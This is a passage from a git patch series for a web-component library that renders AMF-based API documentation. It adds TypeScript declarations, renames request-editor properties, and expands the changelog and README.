+   * and if so it updates its value.
+   */
+  [checkSchemaPropertyUpdate](schema: ApiShapeUnion, id: string, updated: any): void;
+  [expandHandler](e: Event): void;
+  [expandKeydownHandler](e: KeyboardEvent): void;
+
+  /**
+   * Toggles an "expanded" state for a property children.
+   * @param id Parent property id that has children to toggle visibility of.
+   */
+  [toggleExpandedProperty](id: string): void;
+
+  [anyOfSelectedHandler](e: Event): void;
+
+  /**
+   * Orders union items so the first is the one that has properties defined inline.
+   */
+  [orderUnion](shapes: ApiShapeUnion[]): ApiShapeUnion[];
+
+  render(): TemplateResult;
+
+  /**
+   * @returns The template for the schema title.
+   */
+  [titleTemplate](): TemplateResult|string;
+
+  /**
+   * @param schema The shape to render.
+   * @returns The template for the schema properties depending on the type
+   */
+  [schemaContentTemplate](schema: ApiShapeUnion): TemplateResult|string;
+
+  /**
+   * @returns The template for the scalar shape.
+   */
+  [scalarShapeTemplate](schema: ApiScalarShape): TemplateResult|string;
+  /**
+   * @returns The template for the node shape.
+   */
+  [nodeShapeTemplate](schema: ApiNodeShape): TemplateResult|string;
+
+  // [inheritedTemplate](parents: ApiShapeUnion[]): TemplateResult|string;
+
+  /**
+   * @returns The template for the union shape.
+   */
+  [unionShapeTemplate](schema: ApiUnionShape): TemplateResult|string;
+  [andUnionItemTemplate](shape: ApiShapeUnion): TemplateResult|string;
+  /**
+   * @returns The template for the "and" union item's title, if inherited from another type.
+   */
+  [inheritanceNameTemplate](shape: ApiShapeUnion): TemplateResult|string;
+
+  /**
+   * @returns The template for the `any of` union.
+   */
+  [anyOfUnionTemplate](schemaId: string, items: ApiShapeUnion[]): TemplateResult|string;
+
+  /**
+   * @param schemaId The parent schema id value
+   * @param options The options to render.
+   * @returns The template for the union any of selector.
+   */
+  [anyOfOptionsTemplate](schemaId: string, options: any[], selected: string): TemplateResult|string;
+
+  /**
+   * @returns The template for the file shape.
+   */
+  [fileShapeTemplate](schema: ApiFileShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the schema shape.
+   */
+  [schemaShapeTemplate](schema: ApiSchemaShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the array shape.
+   */
+  [arrayShapeTemplate](schema: ApiArrayShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the tuple shape.
+   */
+  [tupleShapeTemplate](schema: ApiTupleShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the Any shape.
+   */
+  [anyShapeTemplate](schema: ApiAnyShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the Any shape.
+   */
+  [nilShapeTemplate](schema: ApiShape): TemplateResult|string;
+
+  /**
+   * @returns The template for the schema property item.
+   */
+  [shapePropertyTemplate](schema: ApiPropertyShape): TemplateResult|string;
+
+  /**
+   * @returns THe template for the line decorator in front of the property name.
+   */
+  [propertyDecoratorTemplate](isComplex: boolean, expanded: boolean, schemaId: string): TemplateResult|string;
+
+  /**
+   * @returns The template for the schema property item that has no range information.
+   */
+  [shapePropertyWithoutRangeTemplate](schema: ApiPropertyShape): TemplateResult|string;
+  [propertyDescriptionTemplate](schema: ApiPropertyShape): TemplateResult|string;
+}
diff --git a/src/elements/SchemaCommonTemplates.d.ts b/src/elements/SchemaCommonTemplates.d.ts
new file mode 100644
index 0000000..461622e
--- /dev/null
+++ b/src/elements/SchemaCommonTemplates.d.ts
@@ -0,0 +1,62 @@
+import { TemplateResult } from "lit-element";
+import { ApiShapeUnion, ApiScalarShape, ApiUnionShape, ApiFileShape } from '../helpers/api';
+/**
+ * @param label The label to render.
+ * @param title The value of the title attribute
+ * @param [css=[]] The list of class names to add
+ * @return The template for a pill visualization object
+ */
+export function pillTemplate(label: string, title: string, css?: string[]): TemplateResult;
+
+/**
+ * @param name The name of the parameter
+ * @param required Whether the parameter is required
+ * @param deprecated Whether the parameter is deprecated
+ * @param paramName When set it renders the parameter name. Should be used when `name` is a `display name`.
+ * @return The template for the property name value. 
+ */
+export function paramNameTemplate(name: string, required?: boolean, deprecated?: boolean, paramName?: string): TemplateResult;
+
+/**
+ * @param type The parameter type label to render.
+ * @return The template for the parameter data type. 
+ */
+export function typeValueTemplate(type: string): TemplateResult;
+
+/**
+ * @param description The description to render.
+ * @return The template for the markdown description
+ */
+export function descriptionValueTemplate(description: string): TemplateResult;
+
+/**
+ * @param label The label to render
+ * @param value The value to render
+ * @param name Optional data-name attribute value.
+ */
+export function tablePropertyTemplate(label: string, value: string, name?: string): TemplateResult;
+
+export function detailSectionTemplate(items: TemplateResult[]): TemplateResult;
+
+/**
+ * @param noDetail When true it always render all properties, without the detail element.
+ * @return The template for the details of the scalar schema
+ */
+export function scalarDetailsTemplate(schema: ApiScalarShape, noDetail?: boolean): TemplateResult;
+
+/**
+ * @return The template for the details of the Union schema
+ */
+export function unionDetailsTemplate(schema: ApiUnionShape): TemplateResult;
+
+/**
+ * @param noDetail When true it always render all properties, without the detail element.
+ * @return The template for the details of the File schema
+ */
+export function fileDetailsTemplate(schema: ApiFileShape, noDetail?: boolean): TemplateResult;
+
+/**
+ * @param schema The schema definition.
+ * @return The template for the property details.
+ */
+export function detailsTemplate(schema: ApiShapeUnion): TemplateResult|string;
diff --git a/src/lib/PayloadUtils.d.ts b/src/lib/PayloadUtils.d.ts
new file mode 100644
index 0000000..64e7084
--- /dev/null
+++ b/src/lib/PayloadUtils.d.ts
@@ -0,0 +1,21 @@
+import { ApiTypes } from '@advanced-rest-client/arc-types';
+import { ApiPayload } from '../helpers/api';
+
+export interface PayloadInfo {
+  value: string|FormData|Blob;
+  model?: ApiTypes.ApiType[];
+  schemas?: any;
+}
+
+export function getPayloadValue(payload: ApiPayload): PayloadInfo;
+
+/**
+ * @param id The ApiPayload id.
+ * @param value The value to cache.
+ * @param model Optional model to set.
+ */
+export function cachePayloadValue(id: string, value: string, model?: ApiTypes.ApiType): void;
+/**
+ * @param id Payload id to read the value.
+ */
+export function readCachePayloadValue(id: string): PayloadInfo;
diff --git a/src/lib/PayloadUtils.js b/src/lib/PayloadUtils.js
index 04b92ab..156ecdf 100644
--- a/src/lib/PayloadUtils.js
+++ b/src/lib/PayloadUtils.js
@@ -2,17 +2,11 @@ import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { ApiMonacoSchemaGenerator } from '../schema/ApiMonacoSchemaGenerator.js';
 import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 
+/** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
-
-/** 
- * @typedef PayloadInfo
- * @property {string|FormData|Blob} value
- * @property {ApiType[]=} model
- * @property {any[]=} schemas Monaco schemas
- */
+/** @typedef {import('./PayloadUtils').PayloadInfo} PayloadInfo */
 
 /** @type {Map<string, PayloadInfo>} */
 const cache = new Map();
diff --git a/src/lib/SecurityProcessor.d.ts b/src/lib/SecurityProcessor.d.ts
new file mode 100644
index 0000000..2b1aae7
--- /dev/null
+++ b/src/lib/SecurityProcessor.d.ts
@@ -0,0 +1,63 @@
+import { ArcRequest, Authorization } from '@advanced-rest-client/arc-types';
+import { ApiSecurityRequirement } from '../helpers/api';
+import { SecuritySelectorListItem, ApiConsoleRequest } from '../types';
+
+export class SecurityProcessor {
+  static readSecurityList(security: ApiSecurityRequirement): SecuritySelectorListItem[];
+  static readSecurityListItem(item: ApiSecurityRequirement): SecuritySelectorListItem;
+
+  /**
+   * Applies authorization configuration to the API Console request object.
+   */
+  static applyAuthorization(request: ApiConsoleRequest, authorization: ArcRequest.RequestAuthorization): void;
+
+  /**
+   * Injects basic auth header into the request headers.
+   */
+  static applyBasicAuth(request: ApiConsoleRequest, config: Authorization.BasicAuthorization): void;
+
+  /**
+   * Injects oauth 2 auth header into the request headers.
+   */
+  static applyOAuth2(request: ApiConsoleRequest, config: Authorization.OAuth2Authorization): void;
+
+  /**
+   * Injects OpenID Connect auth header into the request headers.
+   */
+  static applyOpenId(request: ApiConsoleRequest, config: Authorization.OidcAuthorization): void;
+
+  /**
+   * Injects bearer auth header into the request headers.
+   */
+  static applyBearer(request: ApiConsoleRequest, config: Authorization.BearerAuthorization): void;
+
+  /**
+   * Injects the RAML custom configuration into the request
+   */
+  static applyCustomAuth(request: ApiConsoleRequest, config: Authorization.RamlCustomAuthorization): void;
+
+  /**
+   * Injects the ApiKey configuration into the request
+   */
+  static applyApiKeys(request: ApiConsoleRequest, config: Authorization.ApiKeyAuthorization): void;
+
+  /**
+   * Injects the PassThrough configuration into the request
+   */
+  static applyPassThrough(request: ApiConsoleRequest, config: Authorization.PassThroughAuthorization): void;
+
+  /*
+  @jarrodek The OAuth1 logic is enclosed in a custom element.
+  I don't want to move it to a separate class and maintain to be
+  able to apply here OAuth 1. So far we have no usage signs from anyone
+  (and it's been years since this logic works here).
+  If there's a request from a customer, in the `@advanced-rest-client/authorization`
+  module create a class that extracts the logic from the oauth 1 component 
+  and sign the request.
+  */
+
+  // /**
+  //  * Signs the OAuth 1 request.
+  //  */
+  // static applyOAuth1(request: ApiConsoleRequest, config: Authorization.OAuth1Authorization): void;
+}
diff --git a/src/lib/SecurityProcessor.js b/src/lib/SecurityProcessor.js
index 3c73230..8207bfa 100644
--- a/src/lib/SecurityProcessor.js
+++ b/src/lib/SecurityProcessor.js
@@ -125,6 +125,7 @@ export class SecurityProcessor {
   }
 
   /**
+   * Applies authorization configuration to the API Console request object.
    * @param {ApiConsoleRequest} request
    * @param {RequestAuthorization[]} authorization
    */
@@ -272,7 +273,7 @@ export class SecurityProcessor {
   /**
    * Injects the PassThrough configuration into the request
    * @param {ApiConsoleRequest} request 
-   * @param {ApiKeyAuthorization} config 
+   * @param {PassThroughAuthorization} config 
    */
   static applyPassThrough(request, config) {
     const { header, query, } = config;

From bcc0654db93c0a6166a75698bbc59eaeacd908fa Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 13 Oct 2021 14:00:20 -0700
Subject: [PATCH 17/36] chore: updating documentation

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 CHANGELOG.md                              | 148 ++++++++++++++++++++--
 README.md                                 |  17 ++-
 demo/api-documentation.js                 |   4 +-
 src/elements/ApiDocumentationElement.d.ts |   4 +-
 src/elements/ApiDocumentationElement.js   |  18 +--
 src/store/Readme.md                       |  40 ++++++
 6 files changed, 197 insertions(+), 34 deletions(-)
 create mode 100644 src/store/Readme.md

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 689b0ee..99e7475 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,21 +1,141 @@
 # Changelog
 
-## ApiResourceDocumentElement (former api-endpoint-documentation)
+## General changes
 
-The `api-resource-document` element has the following properties changes compared to deprecated `api-endpoint-documentation`
+The `compatibility` has been renamed to `anypoint`.
 
-- `noTryIt` is renamed to `tryItButton`. When `tryItButton` is set then the try it button in operations is rendered.
+The `selected` property has been renamed to `domainId` which is the id of the graph node rendered by the AMF parser.
+
+The `selectedType` has been renamed to `domainType`. This is a value generated by the navigation element to help to reduce the scope of searching for an object in the graph model.
+
+The components now ignore (in most cases) the rendered AMF graph model and instead uses the serialized graph objects to a simpler JavaScript objects. This serialization happens in the `ApiSerializer` class.
+
+## Documentation components
+
+### ApiDocumentationElement (former api-documentation)
+
+#### Refactored properties
+
+- `selected` -> `domainId`
+- `selectedType` -> `domainType`
+- `inlineMethods` -> `tryItPanel`
+- `compatibility` -> `anypoint`
+
+#### Removed properties
+
+- `noTryIt` - this has been replaced with `tryItButton`
+- `noUrlEditor` - this has been replaced with `httpUrlEditor`
+- `narrow` - no longer needed
+- `scrollTarget` - no longer needed
+- `graph` - not ever used
+- `outlined` - we are dropping support for this property
+- `noBottomNavigation` - not used anymore
+
+#### New properties
+
+- `tryItButton` - the opposite of the previous `noTryIt`
+- `httpUrlEditor` - passed to the request editor as `urlEditor`
+- `httpApplyAuthorization` - passed to the request editor as `applyAuthorization`
+- `httpCredentialsSource` - passed to the request editor as `credentialsSource`
+
+### ApiResourceDocumentElement (former api-endpoint-documentation)
+
+#### Refactored properties
+
+- `selected` -> `domainId`
+- `selectedType` - `domainType`
+- `compatibility` - `anypoint`
+- `noTryIt` - this has been replaced with `tryItButton`
 - `inlineMethods` is renamed to `tryItPanel`. Has the same function.
 - `noUrlEditor` is now renamed to `urlEditor`. When `urlEditor` is set then the HTTP request editor renders the URL editor input field.
 
-## ApiOperationDocumentElement (former api-operation-documentation)
+#### Removed properties
+
+- `apiVersion` - no longer in use
+- `endpointUri` - no longer in use
+- `server` - no longer in use
+- `endpointName` - no longer in use
+- `description` - no longer in use
+- `path` - no longer in use
+- `hasCustomProperties` - no longer in use
+- `narrow` - no longer in use
+- `extendsTypes` - no longer in use
+- `parentType` - no longer in use
+- `parentTypeName` - no longer in use
+- `traits` - no longer in use
+- `previous` - no longer in use
+- `next` - no longer in use
+- `scrollTarget` - no longer in use
+- `operations` - no longer in use
+- `hasOperations` - no longer in use
+- `outlined` - no longer in use
+- `graph` - no longer in use
+- `noNavigation` - no longer in use
+
+#### New properties
+
+- `serverId` the domain id of the selected API server.
+- `operationId` - the domain id of the selected API operation, when `tryItPanel` is set.
+- `tryItPanel` - renders the HTTP editors next to the operation. Former `inlineMethods`.
+- `tryItButton` - the opposite of the previous `noTryIt`
+- `httpUrlEditor` - passed to the request editor as `urlEditor`
+- `httpApplyAuthorization` - passed to the request editor as `applyAuthorization`
+- `httpCredentialsSource` - passed to the request editor as `credentialsSource`
+- `httpNoServerSelector` - passed to the request editor as `noServerSelector`
+- `asyncApi` - indicates the rendered API is an async API.
+
+### ApiOperationDocumentElement (former api-operation-documentation)
+
+#### Refactored properties
 
 - `tryIt` is renamed to `tryItButton`
 - `tryItButton` is always set to `false` when `tryItPanel` is set on the resource document element.
-
-## Authorization
-
-### Configuration and HTTP request
+- `method` is now `operation` which accepts serialized API operation model.
+- `endpoint` now accepts serialized API endpoint model.
+- `compatibility` -> anypoint
+
+#### Removed properties
+
+- `methodName` - no longer in use
+- `httpMethod` - no longer in use
+- `apiVersion` - no longer in use
+- `endpointUri` - no longer in use
+- `description` - no longer in use
+- `hasCustomProperties` - no longer in use
+- `expects` - no longer in use
+- `server` - no longer in use
+- `serverVariables` - no longer in use
+- `endpointVariables` - no longer in use
+- `hasPathParameters` - no longer in use
+- `queryParameters` - no longer in use
+- `hasParameters` - no longer in use
+- `payload` - no longer in use
+- `headers` - no longer in use
+- `returns` - no longer in use
+- `security` - no longer in use
+- `narrow` - no longer in use
+- `previous` - no longer in use
+- `next` - no longer in use
+- `extendsTypes` - no longer in use
+- `traits` - no longer in use
+- `graph` - no longer in use
+- `methodSummary` - no longer in use
+- `noNavigation` - no longer in use
+- `ignoreBaseUri` - no longer in use
+- `protocol` - no longer in use
+
+#### New properties
+
+- `serverId` the domain id of the selected API server.
+- `tryItButton` - the opposite of the previous `noTryIt`
+- `asyncApi` - indicates the rendered API is an async API.
+- `requestMimeType` - The mime type of rendered request.
+
+## Request editor components
+
+### Authorization
+
+#### Configuration and HTTP request
 
 The authorization has been moved into this library and has a new API surface.
 
@@ -32,33 +152,33 @@ To maximize the compatibility with 0.2.0 use the following configuration:
 ></api-request-editor>
 ```
 
-## Caching values
+### Caching values
 
 The editor has a new boolean property `globalCache`. Once set it instruct the caching mechanism to cache user input in memory. The cached values are kept in memory even when API spec change.
 Use the `src/lib/InputCache.js` class to manipulate the cache programmatically when needed.
 
 When the `globalCache` is not set then the values are stored in a reference to the editor element. After removing the element from the DOM all cached properties are GC'd.
 
-## Request editor
+### Request editor
 
-### Refactor
+#### Refactor
 
 - `serializeRequest()` -> `serialize()`
 - removed option `allowDisableParams`
 
-### Setting URL values (baseUri, protocols, server)
+#### Setting URL values (baseUri, protocols, server)
 
 With version `0.2.x` it was possible to set `server`, `baseUri`, and `protocols` properties so the component is able to compute the endpoint URL without having the `server` value read from the AMF graph model. This turned out to be a feature that is not used so it is removed in `0.3.0`. Use `baseUri` to override any value defined in the servers.
 Note, when `baseUri` is set it takes precedence over any other URI configuration (like a selected server).
 
-## URL editor
+### URL editor
 
 The URL editor is optional by default. The input won't be rendered until the `urlEditor` property is set.
 For a better user experience do not set this option unless crucial for the application. To give user a feedback when updating parameters use option `urlLabel`.
 
 Additionally, the user entered values are now updated on input value change rather than user input. This reduces UI changes (especially with URL editor enabled) while typing value into the editor.
 
-## Body editor
+### Body editor
 
 The body editor has been re-created from scratch. The new editor uses monaco editor to render the body input.
 This requires loading monaco environment before the editor is rendered and activated.
diff --git a/README.md b/README.md
index 194defd..91327c5 100644
--- a/README.md
+++ b/README.md
@@ -28,13 +28,6 @@ npm install --save @api-components/amf-components
       import '@api-components/amf-components/xhr-simple-request.js';
       import '@advanced-rest-client/authorization/oidc-authorization.js';
       import '@advanced-rest-client/authorization/oauth2-authorization.js';
-      import { AmfDomStore } from '@api-components/amf-components';
-      // read the AMF's json+ld representation of the graph model.
-      const amfModel = await getAmfModelSomehow();
-      // initialize the store with the support of the DOM events.
-      const store = new AmfDomStore(amfModel);
-      // the argument is the node on which to listen for the events.
-      store.listen(window);
     </script>
   </head>
   <body>
@@ -55,6 +48,16 @@ npm install --save @api-components/amf-components
       <!-- The HTTP request editor. Renders forms for user input to make an HTTP request -->
       <api-request handleNavigationEvents></api-request>
     </aside>
+
+    <script>
+      (async () => {
+        const model = getAmfModelSomehow();
+        const nodes = document.querySelectorAll('api-navigation,api-documentation,api-request');
+        Array.from(nodes).forEach((element) => {
+          element.amf = model;
+        });
+      })();
+    </script>
   </body>
 </html>
 ```
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index 0810458..a7fd419 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -126,8 +126,8 @@ class ComponentDemo extends AmfDemoBase {
         .redirectUri="${this.redirectUri}"
         .tryItPanel="${this.tryItPanel}"
         .tryItButton="${this.tryItButton}"
-        .httpNoServerSelector="${this.noServerSelector}"
-        .httpAllowCustomBaseUri="${this.allowCustomBaseUri}"
+        .noServerSelector="${this.noServerSelector}"
+        .allowCustomBaseUri="${this.allowCustomBaseUri}"
         .baseUri="${finalBaseUri}"
         ?anypoint="${this.compatibility}"
         @tryit="${this.tryitHandler}"
diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
index 3589eb6..41727d4 100644
--- a/src/elements/ApiDocumentationElement.d.ts
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -130,7 +130,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * When true, the server selector is not rendered
    * @attribute
    */
-  httpNoServerSelector: boolean;
+  noServerSelector: boolean;
   /**
    * When set it renders "add custom" item button in the HTTP request editor.
    * If the element is to be used without AMF model this should always
@@ -143,7 +143,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * If true, the server selector custom base URI option is rendered
    * @attribute
    */
-  httpAllowCustomBaseUri: boolean;
+  allowCustomBaseUri: boolean;
   /**
    * The URI of the server currently selected in the server selector
    * @attribute
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 305a416..b7d7dbe 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -137,7 +137,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
        * Optional property to set on the request editor. 
        * When true, the server selector is not rendered
        */
-      httpNoServerSelector: { type: Boolean },
+      noServerSelector: { type: Boolean },
       /**
        * When set it renders "add custom" item button in the HTTP request editor.
        * If the element is to be used without AMF model this should always
@@ -148,7 +148,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
        * Optional property to set on the request editor. 
        * If true, the server selector custom base URI option is rendered
        */
-      httpAllowCustomBaseUri: { type: Boolean },
+      allowCustomBaseUri: { type: Boolean },
       /**
        * The URI of the server currently selected in the server selector
        */
@@ -251,11 +251,11 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
 
   /** @returns {boolean} */
   get renderSelector() {
-    const { domainType, serversCount, httpAllowCustomBaseUri } = this;
+    const { domainType, serversCount, allowCustomBaseUri } = this;
 		const isOperationOrEndpoint = !!domainType && (['operation', 'resource'].includes(domainType));
 		const moreThanOneServer = serversCount >= 2;
 		if (isOperationOrEndpoint) {
-			return httpAllowCustomBaseUri || moreThanOneServer;
+			return allowCustomBaseUri || moreThanOneServer;
 		}
 		return false;
   }
@@ -283,9 +283,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     /** @type {boolean} */
     this.httpUrlEditor = undefined;
     /** @type {boolean} */
-    this.httpNoServerSelector = undefined;
+    this.noServerSelector = undefined;
     /** @type {boolean} */
-    this.httpAllowCustomBaseUri = undefined;
+    this.allowCustomBaseUri = undefined;
     /** @type {boolean} */
     this.httpAllowCustom = undefined;
     /** @type {string} */
@@ -704,10 +704,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the server selector.
    */
   [serverSelectorTemplate]() {
-    if (this.httpNoServerSelector) {
+    if (this.noServerSelector) {
       return '';
     }
-    const { amf, anypoint, serverType, serverValue, httpAllowCustomBaseUri, renderSelector, domainId, domainType } = this;
+    const { amf, anypoint, serverType, serverValue, allowCustomBaseUri, renderSelector, domainId, domainType } = this;
     return html`
       <api-server-selector
         class="server-selector"
@@ -717,7 +717,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
         .value="${serverValue}"
         .type="${serverType}"
         ?hidden="${!renderSelector}"
-        ?allowCustom="${httpAllowCustomBaseUri}"
+        ?allowCustom="${allowCustomBaseUri}"
         ?compatibility="${anypoint}"
         autoSelect
         @serverscountchanged="${this[serversCountHandler]}"
diff --git a/src/store/Readme.md b/src/store/Readme.md
new file mode 100644
index 0000000..24a35aa
--- /dev/null
+++ b/src/store/Readme.md
@@ -0,0 +1,40 @@
+# Graph store
+
+The concept of a graph store is based on the DOM events communication between the components and the store that has the AMF model and prepares serialized values rendered by the components.
+
+> This is a work in progress and a change planned for the next major release of the components.
+
+## The store
+
+The store keeps the AMF model, whether it is a partial (from the AMF service) or a full model. The store registers event listeners for the context store events. The components dispatch the events when they request an information about a particular part of the model. In response, the store reads the part of the model requested by the component, serializes it to a JS object using the AmfSerializer, and returns with the same event.
+
+All operations are asynchronous so the store can be extended to support async architecture, like reading the AMF model values from a server.
+
+## The events
+
+The events are defined in the src/events/ folder. The components uses helper functions to dispatch an event. This function is asynchronous and returns the value set be the store.
+This communication is based on setting by the store the `result` property on the Event's `detail` object. The value set on this property on the store is passed directly to the component that called the event.
+
+```javascript
+import { ApiEvents } from './src/events/ApiEvents.js';
+
+const apiSummary = ApiEvents.summary(document.body);
+```
+
+The event above is requesting a serialized summary of the API from the store. The argument is the Element (or wider EventTarget) that is used to dispatch the event on. This can be used to limit the scope of the events bubbling in the DOM.
+
+This example is equivalent to the following:
+
+```javascript
+import { EventTypes } from './src/events/ApiEvents.js';
+
+const e = new CustomEvent(EventTypes.Api.summary, {
+  bubbles: true,
+  composed: true,
+  detail: {}, // must be set when creating the event.
+});
+document.body.dispatchEvent(e);
+const apiSummary = e.detail.result;
+```
+
+If the event is handled by the store the `e.detail.result` contains a promise created by the store. This promise is resolved to the serialized graph object.

From 6c7a1d35ed6b70a9af7f4fa3f05bb8f56cddf080 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 13 Oct 2021 23:21:33 -0700
Subject: [PATCH 18/36] chore: adding api-documentation tests

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 CHANGELOG.md                                  |  17 +
 demo/api-documentation.js                     |   1 +
 demo/apis/multi-server/multi-server.yaml      |  40 ++
 index.d.ts                                    |   1 +
 index.js                                      |   1 +
 src/elements/ApiDocumentationElement.d.ts     |   4 +-
 src/elements/ApiDocumentationElement.js       |  10 +-
 src/elements/ApiServerSelectorElement.d.ts    |   2 +-
 src/elements/ApiServerSelectorElement.js      |   6 +-
 src/events/NavigationEvents.d.ts              |   2 +-
 src/events/NavigationEvents.js                |   2 +-
 test/elements/ApiDocumentationElement.test.js | 618 ++++++++++++++++++
 web-test-runner.config.mjs                    |   4 +-
 13 files changed, 694 insertions(+), 14 deletions(-)
 create mode 100644 test/elements/ApiDocumentationElement.test.js

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 99e7475..c9dda5b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -12,6 +12,23 @@ The components now ignore (in most cases) the rendered AMF graph model and inste
 
 ## Documentation components
 
+### Api navigation
+
+The API navigate event definition changed. With this version the detail object has the following properties.
+
+- domainId (`string`) The domain id (graph id) of the selected object.
+- domainType (`summary` | `resource` | `operation` | `schema` | `security` | `documentation`) The type of the selected domain object.
+- parentId (`string`) Optional, the parent object domain id (for an operation it is an endpoint)
+- passive: (`boolean`) Optional, whether the selection came from the system processing rather than user interaction.
+
+The navigation event is now `apinavigate` and can be dispatched by using `NavigationEvents` interface:
+
+```javascript
+import { Events } from '@api-components/amf-components';
+
+Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
+```
+
 ### ApiDocumentationElement (former api-documentation)
 
 #### Refactored properties
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index a7fd419..d192727 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -209,6 +209,7 @@ class ComponentDemo extends AmfDemoBase {
       ['SE-10469', 'SE-10469'],
       ['SE-11415', 'SE-11415'],
       ['async-api', 'async-api'],
+      ['APIC-711', 'APIC-711: switching to a library']
     ].forEach(([file, label]) => {
       result[result.length] = html`
       <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>`;
diff --git a/demo/apis/multi-server/multi-server.yaml b/demo/apis/multi-server/multi-server.yaml
index 5ef80a5..6503d42 100644
--- a/demo/apis/multi-server/multi-server.yaml
+++ b/demo/apis/multi-server/multi-server.yaml
@@ -37,6 +37,16 @@ paths:
       responses:
         '200':
           description: Successful response
+          content:
+            application/json:    
+              schema:
+                $ref: "#/components/schemas/Pets"
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
   /copy:
     description: Has half of default servers
     servers:
@@ -86,3 +96,33 @@ paths:
       responses:
         '201':
           description: Successful create
+components:
+  schemas:
+    Pet:
+      type: object
+      required:
+        - id
+        - name
+      properties:
+        id:
+          type: integer
+          format: int64
+        name:
+          type: string
+        tag:
+          type: string
+    Pets:
+      type: array
+      items:
+        $ref: "#/components/schemas/Pet"
+    Error:
+      type: object
+      required:
+        - code
+        - message
+      properties:
+        code:
+          type: integer
+          format: int32
+        message:
+          type: string
diff --git a/index.d.ts b/index.d.ts
index cf6e263..78d589b 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -21,6 +21,7 @@ export { default as ApiNavigationElement } from './src/elements/ApiNavigationEle
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement';
+export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement.js';
 export * from './src/events/EventTypes';
 export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
diff --git a/index.js b/index.js
index 567605a..9733b08 100644
--- a/index.js
+++ b/index.js
@@ -21,6 +21,7 @@ export { default as ApiNavigationElement } from './src/elements/ApiNavigationEle
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement.js';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement.js';
+export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement.js';
 export * from './src/events/EventTypes.js';
 export * from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
index 41727d4..7d06cd8 100644
--- a/src/elements/ApiDocumentationElement.d.ts
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -57,8 +57,8 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * Type of the selected domain item.
    * @attribute
    */
-  domainType: string;
-  [domainTypeValue]: string;
+  domainType: SelectionType;
+  [domainTypeValue]: SelectionType;
   /** 
    * The domain id of the currently rendered API operation.
    * When selecting an operation the `domainId` is the id if the parent endpoint.
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index b7d7dbe..ae4fd42 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -25,6 +25,8 @@ import '../../api-server-selector.js';
 /** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('../types').SelectionType} SelectionType */
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../events/ServerEvents').ServerCountChangeEvent} ServerCountChangeEvent */
+/** @typedef {import('../events/ServerEvents').ServerChangeEvent} ServerChangeEvent */
 
 export const isAsyncValue = Symbol('isAsyncValue');
 export const operationIdValue = Symbol('operationIdValue');
@@ -467,7 +469,6 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
         break;
       default:
         result = model;
-        return;
     }
     this[renderedModelValue] = result;
     this[renderedViewValue] = domainType;
